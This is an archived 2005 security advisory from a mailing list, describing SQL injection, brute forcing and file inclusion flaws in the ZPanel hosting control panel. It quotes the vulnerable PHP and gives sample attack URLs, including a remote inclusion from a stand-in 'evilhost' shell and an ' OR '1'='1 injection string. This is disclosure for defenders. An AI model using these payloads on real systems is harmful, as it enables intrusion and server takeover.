Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [NEWS] ZPanel SQL Injection, Arbitrary File Inclusion and Brute Forcing |
|---|---|
| Date: | 22 Mar 2005 18:16:11 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - ZPanel SQL Injection, Arbitrary File Inclusion and Brute Forcing ------------------------------------------------------------------------ SUMMARY " <http://www.thezpanel.com/> ZPanel is a hosting control interface developed for both Windows and Linux hosts." Successful exploitation of an input validation vulnerability in ZPanel scripts allows attackers to execute SQL commands, include remote and local files. In addition due to poor coding a remote attacker can easily brute force the username / password combination used to protect the product. DETAILS Vulnerable Systems: * ZPanel version 2.0 * ZPanel version 2.5b10 SQL Injection: Non sanitized user input variables are fed directly into the SQL query. Making it possible to inject arbitrary SQL statements through the 'uname' variable which in turn can be used to bypass the authentication process. Password Brute Forcing: An invalid user name or password provided to a remote attacker returns an error that can be used to determine which of the provided parameter is wrong. As a result we can use a very simple brute force technique. Vulnerable script: index.php: if (isset($_POST['uname'])) { mysql_select_db($database_Customer_Database, $Customer_Database); $query_TempUser = sprintf("SELECT * FROM customerbase WHERE servicename = '".$_POST['uname']."'"); Arbitrary File Inclusion: It is possible to include an arbitrary file, local in version 2.5b and remote in version 2.0: http://example/zpanel/zpanel.php?page=http://evilhost/shell Where http://evilhost/shell.php - evil PHP code script. http://localhost/zpanel/zpanel.php?page=billinginfo/index.php%00' OR '1'='1 Vulnerable code script: zpanel.php ( v2.5b): if (isset($_GET['page']) && $_GET['page'] != 'main') { $query_Modules = sprintf("SELECT * FROM modules WHERE name = '".$_GET['page']."'"); $Modules = mysql_query($query_Modules, $Customer_Database) or die(mysql_error()); $row_Modules = mysql_fetch_assoc($Modules); [...] if ($row_Modules['active'] == '1') { $body = "modules/" . $_GET['page'] . "/index.php"; Or Vulnerable code script: zpanel.php ( v2.0): if (!isset($_GET['page'])){ $body = "main.php"; }else{ $body = $_GET['page'] . ".php"; } ADDITIONAL INFORMATION The information has been provided by <mailto:misha@dom.no> Mik-. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] IceCast's Multiple Vulnerabilities (XMP parser), SecuriTeam |
|---|---|
| Next by Date: | [NEWS] Multiple Antivirus Malformed Filename Bypassing, SecuriTeam |
| Previous by Thread: | [UNIX] IceCast's Multiple Vulnerabilities (XMP parser), SecuriTeam |
| Next by Thread: | [NEWS] Multiple Antivirus Malformed Filename Bypassing, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |